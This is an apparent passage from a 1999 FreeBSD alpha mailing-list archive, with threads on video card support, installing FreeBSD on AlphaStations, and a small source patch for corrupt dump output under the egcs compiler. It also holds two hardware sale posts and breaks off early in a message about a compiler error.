(root@localhost) by swp5.gs.com with ESMTP id RAA04987; Thu, 15 Apr 1999 17:26:31 -0400 (EDT) Received: from nbcppsh02.wan.gs.com ([199.29.246.34]) by swp5.gs.com with ESMTP id RAA04973; Thu, 15 Apr 1999 17:26:30 -0400 (EDT) Received: from nbcppsh01.wan.gs.com (nbcppsh01.wan.gs.com [138.8.220.34]) by nbcppsh02.wan.gs.com (8.9.1a/8.9.0/dmzpo1) with ESMTP id RAA14024; Thu, 15 Apr 1999 17:26:43 -0400 (EDT) Received: from gsny24e.et.gs.com (gsny24e.et.gs.com [138.8.115.34]) by nbcppsh01.wan.gs.com (8.9.1a/8.9.0/postoffice1) with ESMTP id RAA18124; Thu, 15 Apr 1999 17:26:26 -0400 (EDT) Received: by gsny24e.et.gs.com with Internet Mail Service (5.0.1460.8) id <2ZHX5RNY>; Thu, 15 Apr 1999 17:26:25 -0400 Message-ID: From: "Koscielny, Wally" To: "'Joe Orthoefer'" Cc: freebsd-alpha@FreeBSD.ORG Subject: RE: Alpha video cards Date: Thu, 15 Apr 1999 17:26:24 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Oh... But it should work for X windows right ? I basically want to make a nice personal FreeBSD workstation which will also be a web/ftp server. Thanks, WK > -----Original Message----- > From: Joe Orthoefer [SMTP:orthoefe@gte.net] > Sent: Thursday, April 15, 1999 1:34 PM > To: Koscielny, Wally > Cc: freebsd-alpha@FreeBSD.ORG > Subject: Re: Alpha video cards > > No. It shouldn't cause any problems if it's plugged into a slot, but you > won't gain anything from it, leave it in one of your x86 boxes. The linux > glide libraries that are used under linux emulation for accelerated 3D are > have not been ported to the alpha platform. > > On Thu, 15 Apr 1999, Koscielny, Wally wrote: > > > Can I use an Intense 3D VooDoo 6 MB card with my 21164 alpha and FreeBSD > ? > > > > Thanks, > > WK > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-alpha" in the body of the message > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 14:31:36 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id D84E2151AC for ; Thu, 15 Apr 1999 14:31:35 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id OAA58604; Thu, 15 Apr 1999 14:28:08 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: "Koscielny, Wally" Cc: "'Joe Orthoefer'" , freebsd-alpha@FreeBSD.ORG Subject: Re: Alpha video cards In-reply-to: Your message of "Thu, 15 Apr 1999 17:26:24 EDT." Date: Thu, 15 Apr 1999 14:28:08 -0700 Message-ID: <58602.924211688@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Oh... But it should work for X windows right ? I basically want to make a Not yet, no. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 16 10:59:37 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 8B833159A8 for ; Fri, 16 Apr 1999 10:59:35 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from localhost (mjacob@localhost) by feral.com (8.8.7/8.8.7) with ESMTP id KAA09020; Fri, 16 Apr 1999 10:56:37 -0700 Date: Fri, 16 Apr 1999 10:56:37 -0700 (PWT) From: Matthew Jacob X-Sender: mjacob@feral-gw Reply-To: mjacob@feral.com To: Andrew Gallatin Cc: Mike Smith , alpha@FreeBSD.ORG Subject: Re: egcs ready for alpha? In-Reply-To: <14102.12407.996679.381089@grasshopper.cs.duke.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > Matthew Jacob writes: > > It was more a question of can I now give up the gcc2.7.2.1 compiler and > > expect to keep being able to work on the Fibre Channel driver (a daily > > ritual). > > The only problem I've seen that could be a show-stopper for you is the > fact that /sbin/dump produces corrupt dumps when built with egcs. You > might want to keep a dump binary laying around. > > I'm not working on this (my plate it far too full right now) and I'd > very much appreciate it if somebody could look into it.. My compiler chops are about 17 years old- I've done little more than build gcc over the last decade and don't know the internals.. but here's the line that's a culprit and a temp fix (at least based upon trivial tests- the output records were garbage and this seems to correct that)... Who owns the toolchain? Index: tape.c =================================================================== RCS file: /home/ncvs/src/sbin/dump/tape.c,v retrieving revision 1.10 diff -u -r1.10 tape.c --- tape.c 1998/09/15 10:25:50 1.10 +++ tape.c 1999/04/16 17:51:20 @@ -174,7 +174,11 @@ slp->req[trecno].dblk = (daddr_t)0; slp->req[trecno].count = 1; +#if 0 *(union u_spcl *)(*(nextblock)++) = *(union u_spcl *)dp; +#else + bcopy(dp, *(nextblock)++, sizeof (union u_spcl)); +#endif if (isspcl) lastspclrec = spcl.c_tapea; trecno++; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 16 11: 5:14 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id B0D1D15064 for ; Fri, 16 Apr 1999 11:05:12 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from amber (pm3a-34.cybcon.com [205.147.75.163]) by mail.cybcon.com (8.9.0/8.9.0) with ESMTP id LAA03252 for ; Fri, 16 Apr 1999 11:02:49 -0700 (PDT) Message-Id: <199904161802.LAA03252@mail.cybcon.com> From: "William" To: Subject: Alpha Install help PLEASE...... Date: Fri, 16 Apr 1999 11:02:25 -0700 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ok, I have an Alpha 200 4/233 with 112meg RAM and a 4gig SCSI drive and a CDROM. I would like to install FreeBSD on it. Can someone PLEASE point me to some consice and ACCURATE installation instructions. I have both ARC and SRM consols, so I can use either....I know I will need to do an ftp install, and how do I dial when doing an ftp install..... I have FreeBSD running fine on my Intel box, and would like to get hte alpha running too.... Thank you, William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 16 11:16:10 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 49068159C1 for ; Fri, 16 Apr 1999 11:15:49 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id OAA13346; Fri, 16 Apr 1999 14:13:18 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id OAA07208; Fri, 16 Apr 1999 14:13:13 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Fri, 16 Apr 1999 14:13:12 -0400 (EDT) To: mjacob@feral.com Cc: "David O'Brien" , Mike Smith , alpha@FreeBSD.ORG Subject: Re: egcs ready for alpha? In-Reply-To: References: <14102.12407.996679.381089@grasshopper.cs.duke.edu> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14103.31933.454041.289218@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matthew Jacob writes: > > The only problem I've seen that could be a show-stopper for you is the > > fact that /sbin/dump produces corrupt dumps when built with egcs. You > > might want to keep a dump binary laying around. > > > > I'm not working on this (my plate it far too full right now) and I'd > > very much appreciate it if somebody could look into it.. > > My compiler chops are about 17 years old- I've done little more than > build gcc over the last decade and don't know the internals.. but here's > the line that's a culprit and a temp fix (at least based upon trivial > tests- the output records were garbage and this seems to correct that)... Excellent! Thanks for finding this! > Who owns the toolchain? David O'Brien -- I'm CC'ing this to him. > Index: tape.c > =================================================================== > RCS file: /home/ncvs/src/sbin/dump/tape.c,v > retrieving revision 1.10 > diff -u -r1.10 tape.c > --- tape.c 1998/09/15 10:25:50 1.10 > +++ tape.c 1999/04/16 17:51:20 > @@ -174,7 +174,11 @@ > > slp->req[trecno].dblk = (daddr_t)0; > slp->req[trecno].count = 1; > +#if 0 > *(union u_spcl *)(*(nextblock)++) = *(union u_spcl *)dp; > +#else > + bcopy(dp, *(nextblock)++, sizeof (union u_spcl)); > +#endif > if (isspcl) > lastspclrec = spcl.c_tapea; > trecno++; > Cheers, Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 16 13:57:38 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from post.cis.smu.edu (post.cis.smu.edu [129.119.64.23]) by hub.freebsd.org (Postfix) with ESMTP id 929FE15A2B for ; Fri, 16 Apr 1999 13:57:31 -0700 (PDT) (envelope-from prust@post.smu.edu) Received: by post.cis.smu.edu (Smail-3.2.0.96 1997-Jun-2 #26) id ; Fri, 16 Apr 1999 15:55:03 -0500 (CDT) Date: Fri, 16 Apr 1999 15:55:03 -0500 (CDT) From: Philip Rust Subject: Please Help! (not a hard problem) To: freebsd-alpha@freebsd.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, I originally posted this message to the questions mailing list, but got no response, so I am guessing that it is better suited for this catagory. I hope to get an answer, cuz this has been so frustrating for me. An any case, here was my original message: I am having a big problem that I have been working on for 2 weeks. I am sure there is an easy solution, I am just not as Unix smart as some of you. I have an AlphaStation 200 that I am trying to install FreeBSD on with the alpha release on the 3.1 cdrom (i'm installing from cdrom). I boot with the kern.flp and mfsboot.flp(?) and everything goes okay so far. The installation menu comes up and I choose the beginners installation and proceed. Basically, in the whole installation process, I am never given an opportunity to choose how I want to boot from my hard drive. Towards the end of the installation I get a message that says something like: kernel copied okay, but unable to save boot -c changes. (or something to that effect). So, at this point the installation appears to be done, but for some reason I am taken back to the installation menu. I then reboot and enter 'boot dka0' to boot from the hard drive. Now, I had OpenBSD on this machine before FreeBSD, and when I now try to boot from my hard drive, it still tries to boot OpenBSD (but errors out). Apparently, during the FreeBSD installation nothing was changed on the master boot record (i am guessing). So anyways, I then boot with the fixit disk and take a look at the hard drive, and everything for FreeBSD appears to be there - as if it installed correctly. SOOO... my problem is: Why can't I boot into FreeBSD? What can I do to fix this? I'm sorry this email is so long, but this has been frustrating and I wanted to give you guys as much information as possible. Thanks a bunch, and I really hope you guys can help me. PS. The whole installation process for me from cdrom didn't really fall in line with what the instructions say it should be. THANKS GUYS I will be crossing my fingers :) Philip Rust | rust@seas.smu.edu \/_/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 16 16:30:37 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from octopus.originative (originat.demon.co.uk [158.152.220.9]) by hub.freebsd.org (Postfix) with ESMTP id 3C861154C2 for ; Fri, 16 Apr 1999 16:30:12 -0700 (PDT) (envelope-from paul@originative.co.uk) Received: by octopus with Internet Mail Service (5.5.2232.9) id <2RSVNTDS>; Sat, 17 Apr 1999 00:25:50 +0100 Message-ID: From: paul@originative.co.uk To: gallatin@cs.duke.edu, mjacob@feral.com Cc: obrien@NUXI.com, mike@smith.net.au, alpha@FreeBSD.ORG Subject: RE: egcs ready for alpha? Date: Sat, 17 Apr 1999 00:25:49 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2232.9) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > -----Original Message----- > From: Andrew Gallatin [mailto:gallatin@cs.duke.edu] > Sent: 16 April 1999 19:13 > To: mjacob@feral.com > Cc: David O'Brien; Mike Smith; alpha@FreeBSD.ORG > Subject: Re: egcs ready for alpha? > > > > Matthew Jacob writes: > > > > The only problem I've seen that could be a show-stopper > for you is the > > > fact that /sbin/dump produces corrupt dumps when built > with egcs. You > > > might want to keep a dump binary laying around. > > > > > > I'm not working on this (my plate it far too full right > now) and I'd > > > very much appreciate it if somebody could look into it.. > > > > My compiler chops are about 17 years old- I've done little > more than > > build gcc over the last decade and don't know the > internals.. but here's > > the line that's a culprit and a temp fix (at least based > upon trivial > > tests- the output records were garbage and this seems to > correct that)... > > Excellent! Thanks for finding this! > > > Who owns the toolchain? > > David O'Brien -- I'm CC'ing this to him. > > > Index: tape.c > > =================================================================== > > RCS file: /home/ncvs/src/sbin/dump/tape.c,v > > retrieving revision 1.10 > > diff -u -r1.10 tape.c > > --- tape.c 1998/09/15 10:25:50 1.10 > > +++ tape.c 1999/04/16 17:51:20 > > @@ -174,7 +174,11 @@ > > > > slp->req[trecno].dblk = (daddr_t)0; > > slp->req[trecno].count = 1; > > +#if 0 > > *(union u_spcl *)(*(nextblock)++) = *(union u_spcl *)dp; > > +#else > > + bcopy(dp, *(nextblock)++, sizeof (union u_spcl)); > > +#endif > > if (isspcl) > > lastspclrec = spcl.c_tapea; > > trecno++; > > Hmm, I wonder how many more of these there are in the tree. I've noticed that cu is no longer working. I was using it to connect to my Multia across the serial port but I think since egcs the keyboard no longer works. Haven't had a chance to track it down yet, tip still works though. Paul. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 16 16:45:30 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id 01F9A15867 for ; Fri, 16 Apr 1999 16:45:28 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: (from obrien@localhost) by relay.nuxi.com (8.9.2/8.9.1) id QAA69442; Fri, 16 Apr 1999 16:42:06 -0700 (PDT) (envelope-from obrien) Message-ID: <19990416164206.A69424@nuxi.com> Date: Fri, 16 Apr 1999 16:42:06 -0700 From: "David O'Brien" To: paul@originative.co.uk, gallatin@cs.duke.edu, mjacob@feral.com Cc: mike@smith.net.au, alpha@FreeBSD.ORG Subject: Re: egcs ready for alpha? Reply-To: obrien@NUXI.com References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: ; from paul@originative.co.uk on Sat, Apr 17, 1999 at 12:25:49AM +0100 X-Operating-System: FreeBSD 3.1-STABLE Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > +#if 0 > > > *(union u_spcl *)(*(nextblock)++) = *(union u_spcl *)dp; It might be better to remove the cast of nextblock and dp and see what warnings EGCS gives. The ficl and vinum code had weird union casts that had to be reworked for egcs. In the above, I bet there is an alignment issue wth EGCS using a different alightment rule than gcc did. -- -- David (obrien@NUXI.com -or- obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 16 16:50:33 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 6578714BCC for ; Fri, 16 Apr 1999 16:50:30 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from localhost (mjacob@localhost) by feral.com (8.8.7/8.8.7) with ESMTP id QAA10285; Fri, 16 Apr 1999 16:47:48 -0700 Date: Fri, 16 Apr 1999 16:47:48 -0700 (PWT) From: Matthew Jacob X-Sender: mjacob@feral-gw Reply-To: mjacob@feral.com To: "David O'Brien" Cc: paul@originative.co.uk, gallatin@cs.duke.edu, mike@smith.net.au, alpha@FreeBSD.ORG Subject: Re: egcs ready for alpha? In-Reply-To: <19990416164206.A69424@nuxi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > > +#if 0 > > > > *(union u_spcl *)(*(nextblock)++) = *(union u_spcl *)dp; > > It might be better to remove the cast of nextblock and dp and see what > warnings EGCS gives. The ficl and vinum code had weird union casts that > had to be reworked for egcs. In the above, I bet there is an alignment > issue wth EGCS using a different alightment rule than gcc did. You might be right. I'll try it. In general, where would you like to see EGCS related issues- as PR's? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 16 17: 3:36 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id 9386915325 for ; Fri, 16 Apr 1999 17:03:30 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: (from obrien@localhost) by relay.nuxi.com (8.9.2/8.9.1) id RAA69520; Fri, 16 Apr 1999 17:01:03 -0700 (PDT) (envelope-from obrien) Message-ID: <19990416170103.B69424@nuxi.com> Date: Fri, 16 Apr 1999 17:01:03 -0700 From: "David O'Brien" To: mjacob@feral.com Cc: paul@originative.co.uk, gallatin@cs.duke.edu, alpha@FreeBSD.ORG Subject: Re: egcs ready for alpha? Reply-To: obrien@NUXI.com References: <19990416164206.A69424@nuxi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: ; from Matthew Jacob on Fri, Apr 16, 1999 at 04:47:48PM -0700 X-Operating-System: FreeBSD 3.1-STABLE Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > You might be right. I'll try it. In general, where would you like to see > EGCS related issues- as PR's? You can email them to me directly if you don't want to commit them yourself (or if you can't commit). But please clearly let me know that something should be commited and isn't just in the discussion phase. -- -- David (obrien@NUXI.com -or- obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 16 18:12:59 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from saturn.spel.com (ip226-39-143.spel.com [208.226.39.143]) by hub.freebsd.org (Postfix) with ESMTP id 0D1F214C18 for ; Fri, 16 Apr 1999 18:12:52 -0700 (PDT) (envelope-from mturpin@saturn.spel.com) Received: from localhost (mturpin@localhost) by saturn.spel.com (8.9.3/8.9.3) with ESMTP id VAA13288; Fri, 16 Apr 1999 21:05:37 -0400 (EDT) (envelope-from mturpin@saturn.spel.com) Date: Fri, 16 Apr 1999 21:05:37 -0400 (EDT) From: Mark Turpin To: William Cc: alpha@FreeBSD.ORG Subject: Re: Alpha Install help PLEASE...... In-Reply-To: <199904161802.LAA03252@mail.cybcon.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 16 Apr 1999, William wrote: > Ok, I have an Alpha 200 4/233 with 112meg RAM and a 4gig SCSI drive and a > CDROM. I would like to install FreeBSD on it. Can someone PLEASE point me > to some consice and ACCURATE installation instructions. I have both ARC and > SRM consols, so I can use either....I know I will need to do an ftp > install, and how do I dial when doing an ftp install..... > > I have FreeBSD running fine on my Intel box, and would like to get hte > alpha running too.... You can try my webpage http://www.mainstreettech.com/mturpin/index.html (You have to type the index.html or M$ IIS does weird things) It should tell you how to get the install floppies started.. It's a little bit Multia/UDB oriented but it should get you headed in the right direction. Mark ----------------------------------------------------------------------------- Mark Turpin | Consulting - Training - Network Installation Systems Engineer | Main Street Technology Centre | http://www.MainStreetTech.com ----------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 16 18:20:53 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail1.panix.com (mail1.panix.com [166.84.0.212]) by hub.freebsd.org (Postfix) with ESMTP id ED94814E7F for ; Fri, 16 Apr 1999 18:20:47 -0700 (PDT) (envelope-from tls@panix.com) Received: from panix7.panix.com (root@panix7.nyc.access.net [166.84.0.232]) by mail1.panix.com (8.8.8/8.8.8/PanixM1.3) with ESMTP id VAA21123; Fri, 16 Apr 1999 21:18:22 -0400 (EDT) Received: (from tls@localhost) by panix7.panix.com (8.8.8/8.7.1/PanixN1.0) id VAA09867; Fri, 16 Apr 1999 21:21:50 -0400 (EDT) Date: Fri, 16 Apr 1999 21:21:50 -0400 From: Thor Lancelot Simon To: netbsd-advocacy@netbsd.org, current-users@netbsd.org, port-alpha@netbsd.org, netbsd-users@netbsd.org, freebsd-alpha@freebsd.org Subject: PC164 Alpha motherboard offer closed Message-ID: <19990416212150.A9468@rek.tjls.com> Reply-To: tls@rek.tjls.com References: <19990415021537.A2102@rek.tjls.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <19990415021537.A2102@rek.tjls.com>; from Thor Lancelot Simon on Thu, Apr 15, 1999 at 02:15:37AM -0400 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Apr 15, 1999 at 02:15:37AM -0400, Thor Lancelot Simon wrote: > > I've arranged to make a bulk purchase of Digital AlphaPC164 motherboards, > with 500MHz processors. I can make these available to NetBSD users or > developers at a price somewhere between $175 and $200 each, plus shipping. > [...] > all orders -- so if you send me email by Friday with how many you want, I'll Okay, it's Friday evening, and I have to give the vendor a final quantity to get a price. I'm closing the offer -- any orders I haven't received yet, I won't allocate boards to. I'll send everyone email with a price and request for confirmation on Monday; if you ordered a board, but haven't received my next message by Tuesday night, you should contact me to follow up. A few people have requested that I call them, and I'll do that sometime Monday. As far as I know we're within 10% of the total number of boards the vendor can supply, so I *have* to close the offer but I believe everyone will get all the boards they wanted. I need to re-emphasize two points: 1) You need to *prepay*. When I receive your payment, I'll move your order from my "confirmed" list to my "can ship out" list. I reserve the right to not ship until checks clear, at my discretion. I'm looking at an X * $10K cash-flow problem without prepayment, so you can, I think, see my motive here -- I don't have that kind of pocket change! :-) 2) There is *NO WARRANTY* and *NO GUARANTEE*. I will possibly replace DOA boards, but I expect, based on vendor failure rates, possibly 1 or 2 of these in the whole order; even that would be a surprise. If I get too many "DOA" claims I'll have to conclude that boards are being blown up with static and stop replacing before I run out of stock to replace from! Take all proper ESD precautions! Also, there are a few questions I should answer: 1) Yes, heatsink and fan are included. 2) 36-bit "true parity" memory is required. I don't know if it's all got to be *exactly* the same, but all SIMMs must be of the same size. More news on 64MB modules: They can't be the enormous, 30-odd chip modules made of 4Mb parts, modules made of higher-density parts should work. 3) You can find the motherboard manual at: http://ftp.digital.com/pub/Digital/info/semiconductor/literature/pc164trm.pdf (Thanks, Laine!) That's all, folks! Thor To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 16 18:58:24 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from cronos.net (cronos.net [206.169.171.2]) by hub.freebsd.org (Postfix) with ESMTP id B052414C2D for ; Fri, 16 Apr 1999 18:58:21 -0700 (PDT) (envelope-from azathoth@cronos.net) Received: from crashtor (ppp-01.cronos.net [206.169.171.21]) by cronos.net (8.8.5/8.8.7) with SMTP id TAA14843; Fri, 16 Apr 1999 19:35:56 -0700 Message-ID: <000e01be8874$81a4d600$15aba9ce@crashtor> From: "aZaTHoTH" To: , , , , , Subject: PC164 533Mhz for SALE Date: Fri, 16 Apr 1999 18:49:15 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi guys... I am selling my ALPHA computer : I would try to sell it around $1500. I bought it at 2000 without screen less than a year ago. It comes from DCG, that is, a DIGITAL resseller. It has 1MB 2nd Level Synchrounous SRAMS Cache, 7.5ns 64mb ram, SDRAM (2x32mb sdram, 10ns) 4.5GB Seagate ST3455N, 9ns, 7200rpms ultranarrow NCR 65c860 Ultranarrow SCSI PCI Controller 32x pionneer IDE CD-Rom drive #9 Vision FX 330 2mb Dram PCI Trio 764 10/100Mbit PCI ETHERNET keyboard - mouse - manuals - cables 15" PackardBell screen. I'm flexible on the prices and the options (like if you want I can put a Diamond Monster Fusion (3dFX) ...) If you are interrested and want to know more, just tell me as soon as possible. (I am going to put it in auction) The reason why I am selling it is because I'm going to university and I don't think there will be enough room to put more than to computers. It is in a perfect shape, can run a large variety of OSs from linux to win nt and I sell it with REDHAT and a license for WIN NT Workstation. I also can provide distributions of NETBSD or FREEBSD . FreD. if you are interrested, tell me so A S A P because I am going to auction it next week. -----Message d'origine----- De : Thor Lancelot Simon À : netbsd-advocacy@netbsd.org ; current-users@netbsd.org ; port-alpha@netbsd.org ; netbsd-users@netbsd.org ; freebsd-alpha@freebsd.org Date : vendredi 16 avril 1999 19:06 Objet : PC164 Alpha motherboard offer closed >On Thu, Apr 15, 1999 at 02:15:37AM -0400, Thor Lancelot Simon wrote: >> >> I've arranged to make a bulk purchase of Digital AlphaPC164 motherboards, >> with 500MHz processors. I can make these available to NetBSD users or >> developers at a price somewhere between $175 and $200 each, plus shipping. >> >[...] >> all orders -- so if you send me email by Friday with how many you want, I'll > >Okay, it's Friday evening, and I have to give the vendor a final quantity to >get a price. I'm closing the offer -- any orders I haven't received yet, I >won't allocate boards to. > >I'll send everyone email with a price and request for confirmation on Monday; >if you ordered a board, but haven't received my next message by Tuesday night, >you should contact me to follow up. A few people have requested that I call >them, and I'll do that sometime Monday. > >As far as I know we're within 10% of the total number of boards the vendor >can supply, so I *have* to close the offer but I believe everyone will get >all the boards they wanted. > >I need to re-emphasize two points: > > 1) You need to *prepay*. When I receive your payment, I'll > move your order from my "confirmed" list to my "can ship > out" list. I reserve the right to not ship until checks > clear, at my discretion. I'm looking at an X * $10K > cash-flow problem without prepayment, so you can, I think, > see my motive here -- I don't have that kind of pocket > change! :-) > > 2) There is *NO WARRANTY* and *NO GUARANTEE*. I will > possibly replace DOA boards, but I expect, based on vendor > failure rates, possibly 1 or 2 of these in the whole order; > even that would be a surprise. If I get too many "DOA" > claims I'll have to conclude that boards are being blown > up with static and stop replacing before I run out of > stock to replace from! Take all proper ESD precautions! > >Also, there are a few questions I should answer: > > > 1) Yes, heatsink and fan are included. > > 2) 36-bit "true parity" memory is required. I don't know if > it's all got to be *exactly* the same, but all SIMMs > must be of the same size. More news on 64MB modules: > They can't be the enormous, 30-odd chip modules made of > 4Mb parts, modules made of higher-density parts should work. > > 3) You can find the motherboard manual at: > >http://ftp.digital.com/pub/Digital/info/semiconductor/literature/pc164trm.p df > > (Thanks, Laine!) > >That's all, folks! > >Thor > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 17 8:18:23 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id 20E1614C22; Sat, 17 Apr 1999 08:18:20 -0700 (PDT) (envelope-from sprice@hiwaay.net) Received: from localhost (sprice@localhost) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id KAA01667; Sat, 17 Apr 1999 10:15:56 -0500 (CDT) Date: Sat, 17 Apr 1999 10:15:56 -0500 (CDT) From: Steve Price To: obrien@freebsd.org Cc: freebsd-alpha@freebsd.org Subject: egcs internal compiler error in fixup_memory_subreg Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1420390700-924362156=:7130" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1420390700-924362156=:7130 Content-Type: TEXT/PLAIN; charset=US-ASCII David, I finished my first pass through building a ports collection for 